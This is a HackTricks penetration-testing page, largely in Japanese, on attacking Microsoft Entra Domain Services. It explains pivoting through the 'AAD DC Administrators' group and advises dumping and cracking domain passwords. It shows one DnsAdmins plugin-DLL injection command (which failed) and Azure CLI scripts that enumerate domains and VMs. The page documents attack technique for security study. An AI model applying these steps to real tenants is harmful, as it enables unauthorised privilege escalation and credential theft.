# Az - Microsoft Entra Domain Services

{{#include ../../../banners/hacktricks-training.md}}

## ドメインサービス

Microsoft Entra Domain Services は、ドメインコントローラーを管理することなく Azure 上に Active Directory をデプロイできるようにします（実際にはそれらにアクセスさえできません）。

主な目的は、最新の認証方式を使用できないレガシーアプリケーションをクラウドで実行したり、ディレクトリ照会が常にオンプレミスの AD DS 環境に戻ることを望まない場合に対応することです。

注意：Entra ID（他の Active Directory から同期されていないもの）で生成されたユーザーを AD ドメインサービスに同期するには、ユーザーのパスワードを新しいものに **変更する** 必要があり、それによって新しい AD と同期されます。実際には、パスワードが変更されるまで Microsoft Entra ID から Domain Services へユーザーは同期されません。

> [!WARNING]
> 新しい Active Directory ドメインを作成しても（何らかのミスコンフィグを悪用しない限り）完全に管理することはできません。つまり、デフォルトでは例えば AD に直接ユーザーを作成することはできません。ユーザーは **Entra ID から同期して作成** します。すべてのユーザー（他のオンプレミス AD から同期されたものも含む）、クラウドユーザーのみ（Entra ID で作成されたユーザー）、あるいはさらに **絞り込んで同期** するよう指定できます。

> [!NOTE]
> 一般的に、新しいドメインの設定の柔軟性が乏しいことや AD が通常既にオンプレミスに存在することから、これは Entra ID と AD の主要な統合方法ではありませんが、侵害する方法を知るうえでは興味深いです。

### Pivoting

生成された **`AAD DC Administrators`** グループのメンバーは、ローカル administrators グループに追加されるため、managed domain にドメイン参加している VM に対してローカル管理者権限が付与されます（ただしドメインコントローラー上ではありません）。このグループのメンバーは **Remote Desktop を使ってドメイン参加済みの VM にリモート接続** することもでき、以下のグループのメンバーでもあります：

- **`Denied RODC Password Replication Group`**: これは、RODCs（Read-Only Domain Controllers）上でパスワードをキャッシュできないユーザーやグループを指定するグループです。
- **`Group Policy Creators Owners`**: このグループのメンバーはドメイン内で Group Policies を作成できます。ただし、ユーザーやグループに対して Group Policy を適用したり既存の GPO を編集することはできないため、この環境ではあまり重要ではありません。
- **`DnsAdmins`**: このグループは DNS 設定の管理を許可し、過去に[特権昇格とドメインの侵害](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins)に悪用されたことがあります。しかしこの環境で攻撃をテストしたところ、その脆弱性は修正されていることが確認されました：
```text
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll

DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed:  ERROR_ACCESS_DENIED     5    0x5
```
Note that to grant these permissions, inside the AD the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**.

Entra ID から Domain Services で作成された AD へピボットするのは簡単です。ユーザーをグループ **`AAD DC Administrators`** に追加し、ドメイン内の任意/すべてのマシンに RDP でアクセスすれば、データを盗むことや **compromise the domain.**

しかし、ドメインから Entra ID へピボットするのは容易ではありません。ドメイン側の情報は Entra ID に同期されていないためです。ただし、参加しているすべての VMs のメタデータを常に確認してください。割り当てられた managed identities が興味深い権限を持っている可能性があります。また、**dump all the users passwords from the domain** を行い、それらを crack してから Entra ID / Azure にログインを試みてください。

> [!NOTE]
> Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it.

### 列挙
```bash
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{
"subscriptions": [
"0ce1297c-9153-425d-3229-f51093614377"
],
"query": "resources | where type == \"microsoft.aad/domainservices\"",
"options": {
"$top": 16,
"$skip": 0,
"$skipToken": ""
}
}'

# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.hacktricks-training.com?api-version=2022-12-01&healthdata=true"

# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain

subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"

# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)

# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)

for nic_id in $nic_ids; do
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)

if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
echo "VM Name: $vm_name, Resource Group: $resource_group"
fi
done
done <<< "$vm_list"
```
{{#include ../../../banners/hacktricks-training.md}}
